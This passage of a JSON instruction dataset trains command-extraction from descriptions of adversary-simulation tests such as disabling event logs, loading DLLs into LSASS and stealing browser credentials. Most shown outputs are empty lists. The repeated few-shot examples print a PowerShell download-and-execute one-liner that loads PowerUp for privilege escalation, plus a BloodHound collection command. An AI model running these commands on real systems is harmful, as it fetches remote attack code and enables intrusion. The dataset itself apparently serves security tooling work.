$_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account\nSee https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Simulates an adversary accessing encrypted credentials from Opera web browser's login database. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Create and execute a process from a directory masquerading as the current parent directory (`...` instead of normal `..`)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Simulates patching of termsrv.dll by making a benign change to the file and replacing it with the original afterwards.\nBefore we can make the modifications we need to take ownership of the file and grant ourselves the necessary permissions.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.\nWhen executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).\n\nReference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 